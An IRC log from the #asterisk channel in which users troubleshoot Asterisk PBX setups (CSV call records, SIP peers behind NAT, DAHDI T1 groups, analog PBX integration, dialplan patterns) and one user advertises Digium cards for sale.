| 08:39.43 | DND | honestly im sick of this a2billing. i just needed a simpel call report with cost not a whole voip provider :( |
| 08:40.24 | *** join/#asterisk cstachris (~chrismylo@202.182.147.24) |
| 08:59.08 | DND | is there any software that just do cdr reporting with cost? not a full fledge voip provider software |
| 09:06.49 | kaldemar | DND: afaik, people usually write those themselves. it doesn't require much scripting to parse the CDR. |
| 09:08.54 | *** join/#asterisk jkroon (~jkroon@dsl-241-239-178.telkomadsl.co.za) |
| 09:09.15 | jkroon | hi guys, after a call hangup, from either end, I'd like to in my CDRs store which side initiated the hangup first. |
| 09:10.24 | jkroon | so let's say I have a bridged call between SIP/foo-123 and DAHDI/1-1 and DAHDI/1-1 hangs up with cause code 16 (normal hangup) then I'd like to be able to somehow log in the CDR (irrespective of whether DAHDI/1-1 or SIP/foo-123 initiated the call) that the bridge was torn down due to a hangup request from DAHDI/1-1 |
| 09:16.09 | DND | kaldemar, anyway leave that. another thing, how can i make asterisk generate the cdr as csv automatically? |
| 09:18.28 | kaldemar | DND: asterisk does it by default. you must have cdr_csv module unloaded or not compiled if you don't get csv cdr. |
| 09:21.08 | DND | ok wil lcheck on that |
| 09:21.10 | DND | thanks |
| 09:24.35 | DND | i see prolly i'll jsut have to check out sam reports or make my own cost reporting app |
| 09:40.09 | DND | how would i know if its running fine cdr_csv.so? |
| 09:45.11 | Rufus | Hello. I'm having troubels setting an outside-the-network SIP user to my asterisk server. I've added host=dynamic and nat=yes in the peer's conf file, but whenever I try to call that extension, I get an error Unable to create channel of type 'SIP' (cause 20 - Unknown) . The outside SIP does not have a static host, so can't set a specific IP to it. |
| 09:46.14 | Rufus | however that SIP can call any extension form inside the network but no voice is being sent, just received. |
| 09:46.27 | kaldemar | Rufus: does it register to you? does sip show peers list an IP address for it? |
| 09:46.58 | Rufus | 221/221 (Unspecified) D N 0 UNKNOWN |
| 09:47.03 | Rufus | SIP registers though |
| 09:47.24 | cstachris | DND, module show like cdr<tab> |
| 09:47.43 | Rufus | erm, my bad kaldemar. yes, the IP is showned |
| 09:48.03 | Rufus | 222/222 92.81.58.184 D N 60120 UNREACHABLE |
| 09:48.08 | kaldemar | Rufus: what does your dial command look like? |
| 09:48.28 | DND | kaldemar, i have it loaded but its not showing any masters.csv in the logs |
| 09:48.38 | kaldemar | Rufus: you might want to set qualify=yes for the peer to keep a hole in the NAT open. |
| 09:48.51 | kaldemar | DND: where are you looking for it? |
| 09:49.44 | DND | /var/log/asterisk/cdr-csv |
| 09:49.55 | DND | that folder is already there for a long time |
| 09:50.00 | DND | but there's no file in it |
| 09:50.19 | DND | do i need to setup some conf files? |
| 09:50.41 | Rufus | kaldemar added and restarted asterisk, same error |
| 09:51.05 | *** join/#asterisk cusco (~tralala@a79-168-174-232.cpe.netcabo.pt) |
| 09:51.17 | kaldemar | Rufus: enable sip debug and verbosity and pastebin a CLI output of a call |
| 09:51.44 | Rufus | would console dial output be ok ? |
| 09:51.59 | kaldemar | DND: does "module show like cdr" list cdr_csv.so? |
| 09:52.39 | DND | yes |
| 09:52.41 | DND | Comma Separated Values CDR Backend |
| 09:53.05 | kaldemar | DND: see that you don't have enable=no in cdr.conf |
| 09:53.16 | DND | my cdr.conf is blank |
| 09:53.25 | cstachris | DND, d'oh! |
| 09:53.30 | DND | i'll look into other files |
| 09:53.47 | DND | oh have i told you im using asterisknow? |
| 09:54.24 | DND | maybe i'll just ass enable=yes in cdr.conf? |
| 09:54.33 | DND | *add |
| 09:54.52 | DND | wow talk about very wrong typo :D |
| 09:55.06 | cstachris | try |
| 09:55.08 | cstachris | [general] |
| 09:55.11 | kaldemar | the module won't load without a configuration file. |
| 09:55.13 | cstachris | enable=yes |
| 09:55.34 | DND | hmm ok. and i will restart asterisk |
| 09:55.54 | kaldemar | http://svn.digium.com/svn/asterisk/tags/1.8.6.0/configs/cdr.conf.sample |
| 09:56.09 | kaldemar | no need to restart asterisk. just "module load cdr_csv.so" |
| 09:56.21 | Rufus | ok this is dumb. HOw do I copy the output? it's quite alot, putty buffer doesn't show everything |
| 09:57.00 | *** join/#asterisk gerhard7 (~gerhard7@82-171-103-215.ip.telfort.nl) |
| 09:58.03 | DND | so after adding that sample, and reload cdr_csv.so, it will generate it automatically right? |
| 09:58.23 | kaldemar | Rufus: with script or tee for example. |
| 09:58.48 | Rufus | ok, here it is kaldemar: http://pastebin.com/07Pmn1zf |
| 09:58.58 | kaldemar | DND: not reload but load. it will write csv in there when you make a call. |
| 09:58.59 | Rufus | I replaced asterisk's server IP with *.*.*.* |
| 10:00.54 | kaldemar | would it happen to be a private IP? |
| 10:01.21 | DND | ok initially when i load the module it just says "Found" |
| 10:01.29 | DND | but now it says: Loaded cdr_csv.so => (Comma Separated Values CDR Backend) |
| 10:01.35 | DND | so it seems its working now |
| 10:01.43 | Rufus | kaldemar it's not a lan IP no |
| 10:01.48 | DND | great i see master.csv now :D |
| 10:01.58 | DND | thanks kaldemar and cstachris |
| 10:02.47 | Rufus | kaldemar btw Connected to Asterisk 1.4.40.1 |
| 10:04.51 | kaldemar | Rufus: quite strange. cause 20 means that asterisk does not know an address for the peer. |
| 10:05.05 | *** join/#asterisk sekil (~sekil@78.24.104.73) |
| 10:05.34 | Rufus | I have 2 outside peers. they can call eachother, but neither can be called form "inside the network" |
| 10:06.59 | Rufus | <-- gonna take another look at iptables |
| 10:07.12 | kraptv | sounds like you're not calling within the right context to reach the extension defined. |
| 10:08.47 | *** join/#asterisk irroot (~irroot@pbx.distrotech.co.za) |
| 10:09.25 | Rufus | <PROTECTED> |
| 10:09.39 | Rufus | phones is the context for all extensions |
| 10:11.59 | kraptv | OK, so, what do you get when you "grep 222 extensions.conf" ? |
| 10:12.15 | kraptv | (assuming you're not doing sophisticated extension wildcards right now |
| 10:12.24 | Rufus | I am heh |
| 10:12.48 | kraptv | Well, stop that shit and define it explicitly. you have two extensions, be realistic. |
| 10:13.00 | kraptv | pardon my french, but make things simple on yourself first! |
| 10:13.06 | Rufus | no, I have alot more extensions |
| 10:13.14 | Rufus | 201 -> 233 |
| 10:13.30 | kraptv | ok, then manually define an extension, let's define it as 666, and have a static definition that dials that one. |
| 10:14.47 | cstachris | dial voicemail, make sure you can dial into the system, get audio etc |
| 10:14.49 | kraptv | exten => 666,1,Dial(SIP/233,20) |
| 10:14.49 | kraptv | exten => 666,2,VoiceMail(233,u) |
| 10:14.56 | cstachris | yeah |
| 10:15.01 | cstachris | i'll keep quiet |
| 10:15.03 | cstachris | :) |
| 10:15.20 | kraptv | no, you can do it, cstachris!!! |
| 10:17.15 | cstachris | hehe - i've got to do a backup/restore in 45 minutes - i'd rather sit this one out if that's cool :) |
| 10:17.28 | cstachris | keep fresh etc |
| 10:17.49 | kaldemar | well, to look at the facts there was "Dial("Console/dsp", "SIP/222|60|r")" and "Unable to create channel of type 'SIP' (cause 20 - Unknown)" in the pastebin. which means that the extension is not the problem. |
| 10:18.44 | kaldemar | Rufus: did you edit the pastebin in any other way than masking your IP? |
| 10:18.53 | Rufus | kaldemar ofc not |
| 10:19.57 | Rufus | <PROTECTED> |
| 10:20.17 | Rufus | I did kraptv modifications |
| 10:20.45 | kaldemar | and now you were trying to dial yourself. |
| 10:21.10 | Rufus | I'm doing console dial too. same thing |
| 10:21.37 | kraptv | what does "sip show peer 233" show? |
| 10:21.57 | Rufus | why 233? /me is 222 :P |
| 10:22.24 | ocx | can anyone point me to a document discussing how to integrate asterisk with an analogue pbx? |
| 10:22.52 | kaldemar | ocx: did you ever specify how you want to connect them? |
| 10:23.23 | Rufus | kraptv http://pastebin.com/r5BHgULh |
| 10:23.29 | ocx | it will be internet -> asterisk(voip) -> FXS -> PBX -> internal clients |
| 10:23.41 | ocx | for incoming calls from the internet |
| 10:23.51 | ocx | and the other way around for outgoing internet being routed on the internet |
| 10:24.28 | ocx | for local country calls pstn lines are connected on the PBX |
| 10:24.32 | cstachris | Rufus, are the 2 outside peers behind a firewall - e.g. NAT |
| 10:24.53 | kraptv | ocx: what kind of PBX? (brand? capability? T1/E1? |
| 10:25.07 | ocx | it is an analogue pbx (panasonic) |
| 10:25.17 | ocx | no digital is supported |
| 10:25.24 | kaldemar | kraptv: he just said FXS/FXO |
| 10:25.33 | Rufus | cstachris correct. inside peers can't diel them, thye can dial eachother |
| 10:25.43 | Rufus | they can also dial inside peers |
| 10:25.46 | ocx | i cant find any proper documentation for integration asterisk with pbx.. |
| 10:25.51 | cstachris | in sip.conf you need to specify nat=yet for the outside peers |
| 10:25.52 | kraptv | well, you could have an analogue T1 line (with one of those amphenol connectors) |
| 10:26.16 | kaldemar | Rufus: show [222] in sip.conf |
| 10:28.21 | Rufus | kaldemar http://pastebin.com/MC9xe5Ei |
| 10:29.30 | kaldemar | Rufus: and default.conf |
| 10:29.37 | Rufus | cstachris I've set glbal nat yes in sip.conf |
| 10:30.35 | Rufus | kaldemar http://pastebin.com/rV46Hwr4 |
| 10:30.39 | kaldemar | what the hell is an analog T1? |
| 10:31.34 | *** join/#asterisk Da-Geek (~Da-Geek@i-195-137-42-252.freedom2surf.net) |
| 10:32.04 | kraptv | a big ass bundle of 24 pairs of copper wires? |
| 10:32.24 | kraptv | I may have gotten my terminology wrong. |
| 10:32.26 | kraptv | Sorry. |
| 10:32.40 | cstachris | channel bank |
| 10:32.47 | cstachris | 24 port analog channel bank |
| 10:33.18 | cstachris | forget i spoke i'm half in this room half doing work |
| 10:33.33 | kaldemar | that's not a T1. and neither is a channel bank. you might connect a channel bank to an asterisk box with a T1 CAS. which would be 2 pairs. |
| 10:34.08 | kraptv | yeah, I am making a presentation now I shouldve never spoken.... :-z sorry. |
| 10:34.58 | cstachris | ocx, how many analog trunks on the panasonic - that's how many fxs ports you want on asterisk and you just use dahdi to connect the two |
| 10:35.30 | ocx | i only want 1 port going from asterisk to the pbx |
| 10:35.51 | cstachris | ocx, you want to use asterisk as a voicemail? |
| 10:36.00 | cstachris | or a voip trunk for some old pbx? |
| 10:36.05 | ocx | yes |
| 10:36.14 | ocx | and a voip gateway for some old pbx |
| 10:36.26 | ocx | correct |
| 10:37.38 | cstachris | yep - you can either get a digium card with an fxs port and on asterisk configure it up as if the panasonic is an extension because of the FXO<-->FXS relationship. |
| 10:37.48 | ocx | the concept that is not very clear to me is the incoming traffic case originating from the internet and wanting to reach an extension on the old pbx |
| 10:38.09 | ocx | i mean how will asterisk know how to route the incoming request into the extension defined in the old pbx |
| 10:38.34 | cstachris | panasonic is just an analog extension DAHDI/1 that is the first DAHDI channel. |
| 10:38.49 | cstachris | when the voip call comes in, asterisk will send it to analog device. |
| 10:39.24 | ocx | so far so good, asterisk will send it to the analog device and now the analog device needs to send to the extension right? |
| 10:40.23 | ocx | this is where i get confused, how will the analog device know how to route that incoming call to the specified extension |
| 10:40.54 | cstachris | nah - once you tell asterisk to send the call to DAHDI/1 -- it'll just ring, analog is dumb (has no smarts) |
| 10:41.09 | Rufus | coughts :) |
| 10:42.08 | ocx | it will ring on the DAHDI/1 but not on the extension :/ |
| 10:42.22 | ocx | like extension 105 defined on the analogue pbx |
| 10:42.30 | cstachris | ocx, you need to configure your panasonic to accept the call from asterisk |
| 10:43.06 | cstachris | asterisk treats the panasonic like an extensions <---panasonic treats asterisk like the analog trunk provider ----> you must route the call to the extension within the panasonic configuration |
| 10:43.16 | ocx | ok! |
| 10:43.19 | ocx | i get it now |
| 10:43.33 | cstachris | yep - lightbulb *click* |
| 10:43.43 | ocx | otherwise it will ring onthe panasonic and any extension will be able to answer that call when the phone is picked |
| 10:43.47 | ocx | lol |
| 10:43.52 | ocx | thank you |
| 10:43.56 | cstachris | np - good luck! |
| 10:46.33 | Rufus | kaldemar, cstachris would you thing it's easyer if I just VPN the 2 outside connections ? |
| 10:46.37 | *** join/#asterisk jayson_r (~jayson@cpe-071-076-046-081.sc.res.rr.com) |
| 10:46.45 | Rufus | *think |
| 10:48.12 | cstachris | Rufus, what phones / routers are "outside" |
| 10:48.37 | Rufus | softphones. trying zoiper now |
| 10:49.08 | cstachris | ah cool - if you use zoiper, you can configure an iax extensions which is less trouble than SIP because of this whole NAT issue |
| 10:49.52 | Rufus | that I have no idea how to setup |
| 10:51.30 | Rufus | do I need to make new dialing rules for that too ? |
| 10:52.15 | cstachris | exten = 654,1,Dial(IAX2/654) i think is the extensions.conf line to put in [phones] |
| 10:53.03 | cstachris | have you had a read of http://astbook.asteriskdocs.org/ |
| 10:53.47 | Rufus | I glanced at it a few times |
| 10:53.51 | Rufus | gonna go look there |
| 10:53.52 | cstachris | read this page: http://astbook.asteriskdocs.org/en/2nd_Edition/asterisk-book-html-chunk/I_sect14_tt645.html |
| 10:54.12 | cstachris | the example iax soft phone there is called IDEFISK - which is the old name for zoiper :) |
| 10:54.59 | Rufus | That's great. Thank you. Gonna give it a try |
| 10:55.48 | cstachris | good luck! |
| 10:55.56 | Rufus | probbaly after s mall break though. |
| 10:57.23 | Rufus | I do have another theoretical question though too: is it possible, while someone calls the main outside line, if durring the answer wait, he dials an extension, the call to be farwarded to that extension? without a message asking for an extension and all of that? |
| 11:04.43 | cstachris | DISA - http://www.voip-info.org/wiki/view/Asterisk+cmd+DISA |
| 11:06.11 | Rufus | thanks again |
| 11:06.42 | cstachris | have fun! |
| 11:14.15 | *** join/#asterisk r33dtard (~r33dtard@gateway/tor-sasl/r33dtard) |
| 11:14.18 | *** join/#asterisk zkn (~zkn@195.222.14.202) |
| 11:15.25 | zkn | Hi, regarding function replace, is it able to convert all uppercase characters to lowercase at one go? |
| 11:19.25 | zkn | oh, TOLOWER / TOUPPER :) |
| 11:19.30 | zkn | nice |
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| 11:50.08 | *** join/#asterisk ijpalmer (~IceChat7@host81-137-172-233.in-addr.btopenworld.com) |
| 11:51.29 | ijpalmer | Hi, sorry if this is a stupid question, I'm using the record app in the following way http://pastebin.com/0GJu6bic I watch the directory when it starts and can see the file created, when it hangsup though the recording is deleted. Anyone know why |
| 11:53.11 | kaldemar | ijpalmer: you don't have k option for Record. |
| 11:53.46 | ijpalmer | kaldemar k option? |
| 11:54.18 | kaldemar | ijpalmer: "core show application Record" |
| 11:54.33 | ijpalmer | kaldemar, ok thanks |
| 11:55.29 | ijpalmer | kaldemar: doh, completely missed that. Thanks |
| 11:55.58 | irroot | ijpalmer the k is a pain it used to be default you upgrade recently |
| 11:56.42 | *** join/#asterisk VoipForces (~Adium@69.165.199.195) |
| 11:58.10 | VoipForces | Hi all, I am using the AMD function and it works great with a DAHDI channel and a Broadvox SIP trunk channel. But when trying to get it to work on an AllStream SIP trunk it fails unless I put a Playback just before. Any ideas? |
| 12:02.15 | *** part/#asterisk VoipForces (~Adium@69.165.199.195) |
| 12:08.40 | *** join/#asterisk anny__ (~chatzilla@77.42.241.114) |
| 12:10.17 | anny__ | i have configured dahdi and asterisk to use my T1 card, but when dialing a DAHDI channel i get the following |
| 12:10.19 | anny__ | WARNING[16113]: app_dial.c:1780 dial_exec_full: Unable to create channel of type 'DAHDI' (cause 0 - Unknown) |
| 12:10.20 | anny__ | <PROTECTED> |
| 12:10.48 | irroot | anny__ is dahdi loaded |
| 12:11.07 | irroot | dahdi show status |
| 12:11.17 | anny__ | yes it's loaded |
| 12:11.46 | anny__ | when i enter show status i get the following |
| 12:12.03 | anny__ | dahdi show status |
| 12:12.05 | anny__ | Description Alarms IRQ bpviol CRC4 Fra Codi Options LBO |
| 12:12.07 | anny__ | Wildcard TE120P Card 0 OK 1 0 0 ESF B8ZS 0 db (CSU)/0-133 feet (DSX-1) |
| 12:12.44 | kaldemar | anny__: what does the dial command look like? and chan_dahdi.conf? |
| 12:13.02 | anny__ | Dial(DAHDI/g1/1) |
| 12:13.51 | anny__ | what should i show you in chan_dahdi.conf? |
| 12:16.23 | *** join/#asterisk Naikrovek (~mbluth@unaffiliated/naikrovek) |
| 12:16.38 | kaldemar | anny__: preferrably all. use pastebin |
| 12:18.35 | anny__ | http://pastebin.com/ALGMZwfD |
| 12:18.46 | anny__ | kaldemar: http://pastebin.com/ALGMZwfD |
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| 12:21.17 | kaldemar | anny__: only general settings there, show dahdi-channels.conf too since it is included in chan_dahdi.conf. |
| 12:21.30 | anny__ | ok 1 sec |
| 12:22.21 | *** join/#asterisk joobie (~joobie@unaffiliated/moo0o0ooo00o0o0o) |
| 12:22.27 | anny__ | http://pastebin.com/5k03e4kC |
| 12:22.32 | joobie | hey guys.. anyone played with those Openvox GSM cards? |
| 12:22.40 | joobie | do they work oK? |
| 12:23.33 | kaldemar | anny__: you're trying to dial using channels in group 1 but there is no group 1 in your configs. change g1 to g0. |
| 12:24.28 | anny__ | kaldemar: thx, i'll try that |
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| 12:26.06 | Faustov | in sip.conf, in the context of a sip provider's account, is there any way to give a secondary IP/host if the first one times out? |
| 12:28.56 | leifmadsen | Faustov: no, you just have to create a separate peer |
| 12:30.03 | Faustov | leifmadsen: ok, what I have is 10 asterisk servers, one in each remote site. Each site has a backup line provider, so in case of a line outage, I got a backup solution in place. Problem is asterisk would remain unreachable for the other sites, because of different public IP |
| 12:30.35 | leifmadsen | yes that is true |
| 12:30.44 | leifmadsen | those seem like different problems |
| 12:30.56 | Faustov | well I got a full mesh |
| 12:31.03 | leifmadsen | from what I understand, you're saying you have multiple providers to give you outbound and inbound calls, right? |
| 12:31.15 | leifmadsen | or are you talking about interfaces on the machine? |
| 12:31.18 | leifmadsen | and not remote IPs? |
| 12:31.20 | Faustov | no, lets forget about the providers |
| 12:31.30 | leifmadsen | when you talked providers you confused the issue |
| 12:31.34 | Faustov | sorry |
| 12:31.38 | leifmadsen | start again |
| 12:31.41 | Faustov | I thought to simplify it... ;) |
| 12:31.43 | Faustov | ok |
| 12:31.45 | leifmadsen | what you discussed are totally separate issues |
| 12:31.52 | Faustov | 10 servers, full mesh |
| 12:32.07 | Faustov | so every server has 9 contexts for the rest |
| 12:32.10 | Faustov | with an IP provided |
| 12:32.24 | Faustov | problem is that during an outage of one server, it will have a different IP |
| 12:32.44 | leifmadsen | right |
| 12:32.45 | Faustov | do I need therefore, as you initially suggested, to double my sip contexts |
| 12:32.48 | Faustov | and dialplan rules? ;( |
| 12:32.49 | leifmadsen | yes |
| 12:32.52 | leifmadsen | OR |
| 12:33.02 | leifmadsen | use DUNDi and have the other peers re-register to you |
| 12:33.04 | Faustov | hostnames & depend on ttl |
| 12:33.09 | leifmadsen | then when you place a call, lookup where you need to route to |
| 12:33.21 | Faustov | hmm |
| 12:33.31 | leifmadsen | but yes, you can't specify host= x 2 |
| 12:33.39 | leifmadsen | you could alternatively have the peers register to each other |
| 12:33.58 | Faustov | perhaps a feature request then? secondary IP ;) |
| 12:34.08 | leifmadsen | perhaps, but unless you're providing code it will just get closed |
| 12:34.13 | leifmadsen | (if you open it on the issue tracker) |
| 12:34.22 | *** join/#asterisk ijpalmer (~IceChat7@host81-137-172-233.in-addr.btopenworld.com) |
| 12:34.36 | joobie | y000 |
| 12:34.44 | joobie | anyone played with the openvox GSM cards? |
| 12:34.50 | joobie | considering buying one, duno if they are worthwhile |
| 12:35.15 | ijpalmer | irroot: sorry got called away, yeah I did upgrade from 1.4 to 1.8. Bit of an odd option as I can't think of a scenario where you'd make a recording and not want to keep it |
| 12:35.18 | joobie | also noticed there is a G400P and a G400E.. duno the iff |
| 12:35.20 | joobie | +diff |
| 12:35.40 | Faustov | leifmadsen: I'll take a look at the dundi thing you mentioned - any doc with similar solution you could recommend? |
| 12:36.48 | leifmadsen | joobie: I've heard bad things about clone cards (which is what OpenVox are) |
| 12:37.24 | leifmadsen | I'd avoid them -- you'll get very little to zero support here for them -- you'll need to deal with the vendor directly, and I don't think they have much of a support team |
| 12:37.39 | leifmadsen | You're better off with a Digium or Sangoma card |
| 12:38.18 | beek | <man's voice>Hello... this is Peggy in tech support. How can I help you? </man's voice> |
| 12:41.10 | *** join/#asterisk nighty^ (~nighty@TOROON12-1279662182.sdsl.bell.ca) |
| 12:42.11 | joobie | i had a look at sangoma's website |
| 12:42.16 | joobie | couldnt see any GSM cards there |
| 12:42.28 | joobie | i have a sangoma e1 card which works well.. happy with it |
| 12:42.36 | joobie | happy to stick with sangoma but do they do GSM cards? |
| 12:43.02 | joobie | beek: hello peggy |
| 12:43.22 | cstachris | joobie, when you say gsm card, do you mean one with a pci interface to plug into a machine or a sip/gsm gateway or analog/gsm gateway |
| 12:43.54 | joobie | with a pci interface to plug into a machine |
| 12:44.03 | joobie | muhc like the openvox g400's |
| 12:44.06 | *** join/#asterisk ectospasm (~ectospasm@66.172.33.249) |
| 12:44.16 | joobie | those cards have slots for 4 GSM SIM cards and plug into pci |
| 12:46.59 | cstachris | joobie, do they have linux drivers? how much are they - i'd prefer to have a standalone device and connect with analog/sip |
| 12:47.50 | joobie | they do.. |
| 12:48.03 | joobie | i want a device to interface to the mobile network |
| 12:50.28 | joobie | leifmadsen, u there man |
| 12:50.30 | joobie | ? |
| 12:50.37 | joobie | appreciate the advice about close cards bro |
| 12:50.43 | leifmadsen | joobie: no, I'm working |
| 12:50.44 | joobie | but where's the original shizz? :P |
| 12:50.47 | leifmadsen | I know nothing about those cards |
| 12:50.56 | joobie | leifmadsen, know of any decent branded gsm cards? |
| 12:51.05 | *** join/#asterisk rajiv (~rajiv@gentoo/developer/rajiv) |
| 12:51.19 | leifmadsen | I know nothing about GSM cards |
| 12:51.36 | joobie | fuk bro |
| 12:51.44 | joobie | cos it looks likes sangoma dont do gsm |
| 12:51.57 | irroot | joobie we use psitek fusion 100 cell routers here with FXO cards |
| 12:52.37 | irroot | joobie trick is to do single pulse polarity reversal on answer and hangup and you sorted |
| 12:53.19 | irroot | these are basically cell phones with a RJ 11 port you plug a phone in used on the side of the road with 12v battery and stop watch |
| 12:53.42 | *** join/#asterisk ectospasm (~ectospasm@66.172.33.249) |
| 12:53.54 | joobie | nice |
| 12:54.10 | joobie | u reacon they are better than the openvox's ? |
| 12:54.34 | irroot | joobie dont know the openvox just giving alternative |
| 12:54.47 | joobie | ahh |
| 12:55.00 | NourSs | Hi, i sell two Digium card on eBay, tell for me for link to ebay, low price ;-) |
| 12:55.15 | joobie | NourSs, are they GSM cards? |
| 12:55.17 | joobie | irroot, thanks |
| 12:55.25 | joobie | irroot, how much USD is one of those units? |
| 12:55.26 | NourSs | joobie: No :/ |
| 12:55.45 | joobie | NourSs, what card? |
| 12:55.59 | NourSs | http://cgi.ebay.fr/ws/eBayISAPI.dll?ViewItem&item=110743690450 |
| 12:56.08 | NourSs | http://cgi.ebay.fr/ws/eBayISAPI.dll?ViewItem&item=110743690241 |
| 12:56.19 | irroot | 1500R @ 1:7 +200$ or somewhere round there normally free from suppliers |
| 12:56.44 | irroot | http://www.psitek.com/products_and_solutions.htm?action=view-list&category=392 |
| 12:56.47 | NourSs | If you buy two cards, i offer Polycom IP 331 :D |
| 12:56.51 | NourSs | With Powersupply ;-) |
| 12:58.30 | cstachris | irroot, what is 1500R? |
| 12:58.36 | cstachris | currency? |
| 12:58.51 | irroot | 1500R [Rand 1:7 to $ and 1:10 to E] |
| 12:59.00 | cstachris | ah thanks. |
| 12:59.57 | *** join/#asterisk malcolmd (~malcolmd@pdpc/sponsor/digium/malcolmd) |
| 12:59.57 | *** mode/#asterisk [+o malcolmd] by ChanServ |
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| 13:00.20 | *** mode/#asterisk [+o malcolmd] by ChanServ |
| 13:00.45 | NourSs | joobie: So ? :p |
| 13:01.59 | joobie | bro that e1 card looks tempting |
| 13:02.01 | joobie | but i already have one |
| 13:02.14 | joobie | if i buy it, it will sit in a box as a spare only |
| 13:02.15 | *** join/#asterisk mjordan (~mjordan@nat/digium/x-mquaovcpqchjcpkk) |
| 13:02.16 | joobie | gathering dust |
| 13:02.22 | joobie | it needs a better home than that |
| 13:05.15 | *** join/#asterisk serafie (~erin@nat/digium/x-rykutpxuploqcqfo) |
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| 13:12.30 | joobie | leifmadsen, |
| 13:12.33 | joobie | thanks for the advice |
| 13:12.40 | joobie | now i dont want to buy the openvox |
| 13:12.45 | joobie | and i dont have shit to replace it |
| 13:12.45 | joobie | :P |
| 13:13.00 | joobie | but i appreciate teh advice.. it's not a cheap card |
| 13:15.56 | *** join/#asterisk centaurus (~bsd@189.4.96.178) |
| 13:20.33 | *** join/#asterisk MarKsaitis (~MarKsaiti@94-30-69-205.xdsl.murphx.net) |
| 13:26.20 | tzafrir | bah. 'asterisk -rx' from a remote asterisk 1.8 to a asterisk 1.4 server fails badly: |
| 13:26.32 | tzafrir | No such command 'cli quit after stop now' (type 'help cli quit' for other possible commands) |
| 13:26.38 | tzafrir | (yes, I know) |
| 13:35.26 | centaurus | it is possible to use dnd or follow me in a queue ? |
| 13:35.42 | DND | hmm someone called me? |
| 13:35.47 | *** join/#asterisk cerienjean (~iper@95.138.77.91) |
| 13:36.29 | cerienjean | hello |
| 13:36.35 | cerienjean | looking for advice on patterns |
| 13:36.38 | cerienjean | & extensions |
| 13:36.49 | *** join/#asterisk coppice (~chatzilla@m121-203-197-55.smartone-vodafone.com) |
| 13:37.02 | cerienjean | I am working on a small ivr that can receive as input numbers from 1 to 15 |
| 13:37.11 | cerienjean | I am struggling to define the pattern... [1-9 |
| 13:37.24 | cerienjean | [1-9][0-5] forces two digits |
| 13:37.29 | centaurus | DND: sorry man.. just a question :) |
| 13:37.34 | cerienjean | [1-9]. also.... |
| 13:37.51 | cerienjean | is there a character that replaces zero or more ? |
| 13:39.24 | WIMPy | cerienjean: 1. Try not to use overlapping extensions, e.g. 2-16 instead of 1-15; 2. You have to make two extensions to exactely match 1-15. |
| 13:40.19 | cerienjean | ie, one that does 1-9 then 10-15 ? |
| 13:40.39 | WIMPy | yes |
| 13:40.42 | cerienjean | how would i do 2-16 ? |
| 13:41.00 | cerienjean | [2-9] then what ? anything else requires the 2nd ca |
| 13:41.02 | cerienjean | char |
| 13:41.25 | WIMPy | 1 is part of 10-15 so you'd need to decide by timeout. |
| 13:41.29 | irroot | cerienjean if the user enters a 1 then goto another context |
| 13:41.56 | irroot | if it times out there push a w |
| 13:42.00 | irroot | a 1 |
| 13:42.01 | *** join/#asterisk napnap (~greg@217.108.190.173) |
| 13:42.08 | napnap | Hi all |
| 13:42.18 | cerienjean | ok, i see.... |
| 13:42.30 | cerienjean | thanks, I think I've found my way ! |
| 13:42.40 | WIMPy | for 1-15 _X and _1[1-5], for 2-16 _N and _1[1-6]. |
| 13:43.15 | napnap | Have you a link to find asterisk solution "resellers" in France ? |
| 13:43.57 | *** part/#asterisk cstachris (~chrismylo@202.182.147.24) |
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| 13:45.59 | *** join/#asterisk samuelsapps (~samuel_sa@fm-ip-118.136.130.159.fast.net.id) |
| 13:50.32 | pabelanger | tzafrir: Huh? From an Asterisk 1.8 CLI you are controlling a 1.4 box? |
| 13:50.49 | pabelanger | Oh, I think I see what you are saying |
| 13:56.13 | *** join/#asterisk SuPrSluG (~SuPrSluG@8.22.96.106) |
| 14:00.05 | samuelsapps | which one is better when running voip using asterisk with internal card or external voip gateway ? |
| 14:02.07 | *** join/#asterisk Rico29 (~rico@sar-b123.olm.fr) |
| 14:02.12 | Rico29 | hi again ! |
| 14:02.15 | irroot | samuelsapps depends on requirements gateway may cost more but includes licencing for g729 and is portable on a network cable |
| 14:02.42 | irroot | that said its nice to have a intergrated solution with monitoring tools |
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| 14:12.11 | samuelsapps | in my office using PSTN network and LAN so (if not i'm mistaken) it's better using external ? |
| 14:15.25 | *** join/#asterisk KavanS (~KavanS@LINBIT/KavanS) |
| 14:15.38 | tzafrir | samuelsapps, VoIP is over IP. it's part of your network |
| 14:15.47 | tzafrir | Your question does not really make sense |
| 14:16.27 | tzafrir | err... ignore that. I misread your question |
| 14:16.33 | m_tadeu | I'm trying to receive the cdr event in my manager, but I'm failing to do it. I only get cdr(some_var) events. |
| 14:17.08 | m_tadeu | my problem is that I have to update the cdr regist in the database, but sometimes, even after 10secs after the call is hangup, the register is not there |
| 14:17.09 | samuelsapps | tzafrir:I'm sorry a new in voip world but you're true |
| 14:18.47 | *** join/#asterisk bipolar (~bipolar@offsitesysadmin.com) |
| 14:20.51 | NourSs | Hi, i sell two Digium card on eBay, tell for me for link to ebay, very low price, Thx ;-) |
| 14:21.07 | kaldemar | NourSs: you better rephrase that. |
| 14:22.00 | kaldemar | NourSs: s/tell for me for/ask for a/ |
| 14:22.01 | p3nguin | Are you trying to say that you are selling two cards or that you would like to buy cards? |
| 14:22.01 | Rico29 | how can I replace res_timing_pthread.so by res_timing_dahdi.so ? just unload res_timing_pthread.so ? |
| 14:22.26 | samuelsapps | salesman from external Voip gateway told me that, when using internal Voip Card if there's a problem with 1 port it's may impact on another |
| 14:22.54 | tzafrir | Rico29, chances are something is using it and you can't unload it |
| 14:22.55 | kaldemar | Rico29: unload it and load res_timing_dahdi.so. put "noload => res_timing_pthread.so" in /etc/asterisk/modules.conf to make it permanent. |
| 14:23.10 | Rico29 | ok |
| 14:23.12 | samuelsapps | it's true ? |
| 14:23.13 | *** join/#asterisk psilikon (~joel@rrcs-24-73-84-158.se.biz.rr.com) |
| 14:23.14 | Rico29 | thanks |
| 14:24.39 | NourSs | Hi, i sell two Digium card , ask for a link to ebay, very low price, Thx ;-) |
| 14:25.11 | NourSs | kaldemar: Thx :p |
| 14:25.22 | NourSs | p3nguin: I sell cards |
| 14:25.26 | kraptv | NourSs: what model? hardware echo cancel? warranty? used? new? why not offer a cheap direct price for IRC users? do you like hamburgers? |
| 14:25.57 | cstachris | his E1 card is a good price! |
| 14:26.01 | kraptv | are you an authorised dealer? are you selling Chinese copies? |
| 14:26.03 | NourSs | kraptv: don"t like hamburger, the price are already very low :p |
| 14:26.11 | kraptv | lower than a hamburger? Nice! |
| 14:26.28 | NourSs | No authorised, i sell cards with the training's digium |
| 14:26.41 | p3nguin | You're a Digium partner? |
| 14:26.45 | NourSs | No |
